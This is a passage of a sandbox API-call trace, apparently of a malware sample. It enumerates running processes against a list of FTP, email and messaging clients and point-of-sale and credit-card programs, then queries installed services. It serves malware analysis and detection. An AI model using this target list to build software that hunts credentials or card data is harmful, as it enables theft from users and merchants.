lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gerald_cdna_charleston.exe")) returned 1 [0100.039] lstrlenW (lpString="gerald_cdna_charleston.exe") returned 26 [0100.039] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="george-depending.exe")) returned 1 [0100.040] lstrlenW (lpString="george-depending.exe") returned 20 [0100.040] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="examinationrecipes.exe")) returned 1 [0100.042] lstrlenW (lpString="examinationrecipes.exe") returned 22 [0100.042] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="repeat go.exe")) returned 1 [0100.043] lstrlenW (lpString="repeat go.exe") returned 13 [0100.043] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="showcase.exe")) returned 1 [0100.043] lstrlenW (lpString="showcase.exe") returned 12 [0100.043] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0100.045] lstrlenW (lpString="3dftp.exe") returned 9 [0100.045] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0100.046] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0100.046] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0100.047] lstrlenW (lpString="alftp.exe") returned 9 [0100.047] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0100.048] lstrlenW (lpString="barca.exe") returned 9 [0100.048] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0100.049] lstrlenW (lpString="bitkinex.exe") returned 12 [0100.049] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0100.051] lstrlenW (lpString="coreftp.exe") returned 11 [0100.051] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0100.052] lstrlenW (lpString="far.exe") returned 7 [0100.052] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0100.053] lstrlenW (lpString="filezilla.exe") returned 13 [0100.053] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0100.054] lstrlenW (lpString="flashfxp.exe") returned 12 [0100.054] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0100.056] lstrlenW (lpString="fling.exe") returned 9 [0100.056] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0100.057] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0100.057] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0100.058] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0100.058] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0100.060] lstrlenW (lpString="icq.exe") returned 7 [0100.060] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0100.061] lstrlenW (lpString="leechftp.exe") returned 12 [0100.061] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0100.062] lstrlenW (lpString="ncftp.exe") returned 9 [0100.062] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0100.063] lstrlenW (lpString="notepad.exe") returned 11 [0100.063] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0100.064] lstrlenW (lpString="operamail.exe") returned 13 [0100.065] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0100.066] lstrlenW (lpString="pidgin.exe") returned 10 [0100.066] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0100.067] lstrlenW (lpString="scriptftp.exe") returned 13 [0100.067] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0100.068] lstrlenW (lpString="skype.exe") returned 9 [0100.068] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0100.069] lstrlenW (lpString="smartftp.exe") returned 12 [0100.069] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0100.070] lstrlenW (lpString="thunderbird.exe") returned 15 [0100.070] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0100.071] lstrlenW (lpString="totalcmd.exe") returned 12 [0100.071] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0100.475] lstrlenW (lpString="trillian.exe") returned 12 [0100.476] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0100.477] lstrlenW (lpString="webdrive.exe") returned 12 [0100.477] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0100.478] lstrlenW (lpString="whatsapp.exe") returned 12 [0100.478] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0100.479] lstrlenW (lpString="winscp.exe") returned 10 [0100.479] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0100.480] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0100.480] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0100.481] lstrlenW (lpString="active-charge.exe") returned 17 [0100.481] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0100.482] lstrlenW (lpString="accupos.exe") returned 11 [0100.483] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0100.484] lstrlenW (lpString="afr38.exe") returned 9 [0100.484] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0100.485] lstrlenW (lpString="aldelo.exe") returned 10 [0100.485] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0100.486] lstrlenW (lpString="ccv_server.exe") returned 14 [0100.486] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0100.487] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0100.487] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0100.488] lstrlenW (lpString="creditservice.exe") returned 17 [0100.488] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xef0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0100.489] lstrlenW (lpString="edcsvr.exe") returned 10 [0100.489] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0100.490] lstrlenW (lpString="fpos.exe") returned 8 [0100.490] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0100.491] lstrlenW (lpString="isspos.exe") returned 10 [0100.491] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0100.492] lstrlenW (lpString="mxslipstream.exe") returned 16 [0100.492] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0100.493] lstrlenW (lpString="omnipos.exe") returned 11 [0100.493] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1024, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0100.494] lstrlenW (lpString="spcwin.exe") returned 10 [0100.494] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1038, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0100.495] lstrlenW (lpString="spgagentservice.exe") returned 19 [0100.495] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0100.496] lstrlenW (lpString="utg2.exe") returned 8 [0100.496] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1060, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="controlling.exe")) returned 1 [0100.497] lstrlenW (lpString="controlling.exe") returned 15 [0100.497] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1074, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="assess climate.exe")) returned 1 [0100.498] lstrlenW (lpString="assess climate.exe") returned 18 [0100.498] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="color_infection.exe")) returned 1 [0100.499] lstrlenW (lpString="color_infection.exe") returned 19 [0100.499] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="home.exe")) returned 1 [0100.499] lstrlenW (lpString="home.exe") returned 8 [0100.500] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="assignedeliminatemidi.exe")) returned 1 [0100.500] lstrlenW (lpString="assignedeliminatemidi.exe") returned 25 [0100.500] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0100.501] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0100.501] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.502] lstrlenW (lpString="svchost.exe") returned 11 [0100.502] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x126c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0100.503] lstrlenW (lpString="taskhostw.exe") returned 13 [0100.503] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0100.504] lstrlenW (lpString="UsoClient.exe") returned 13 [0100.504] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0100.505] lstrlenW (lpString="taskhostw.exe") returned 13 [0100.505] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0100.506] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0100.506] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0100.507] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0100.507] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0100.507] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0100.507] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x128c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0100.508] lstrlenW (lpString="conhost.exe") returned 11 [0100.508] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1274, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0100.509] lstrlenW (lpString="conhost.exe") returned 11 [0100.509] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.855] lstrlenW (lpString="svchost.exe") returned 11 [0100.855] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0100.856] lstrlenW (lpString="finbbp.exe") returned 10 [0100.856] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x135c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0100.857] lstrlenW (lpString="dllhost.exe") returned 11 [0100.857] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x112c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0100.857] lstrlenW (lpString="cmd.exe") returned 7 [0100.857] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1378, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0100.858] lstrlenW (lpString="conhost.exe") returned 11 [0100.858] Process32NextW (in: hSnapshot=0x340, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1378, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0100.859] CloseHandle (hObject=0x340) returned 1 [0100.859] Sleep (dwMilliseconds=0x1f4) [0101.682] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4eea20 [0101.683] EnumServicesStatusExW (in: hSCManager=0x4eea20, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x245ff3c, lpServicesReturned=0x245ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x245ff3c, lpServicesReturned=0x245ff54, lpResumeHandle=0x0) returned 0 [0101.685] GetLastError () returned 0xea [0101.685] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x1d4a) returned 0x513428 [0101.686] EnumServicesStatusExW (in: hSCManager=0x4eea20, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x513428, cbBufSize=0x1d4a, pcbBytesNeeded=0x245ff3c, lpServicesReturned=0x245ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x513428, pcbBytesNeeded=0x245ff3c, 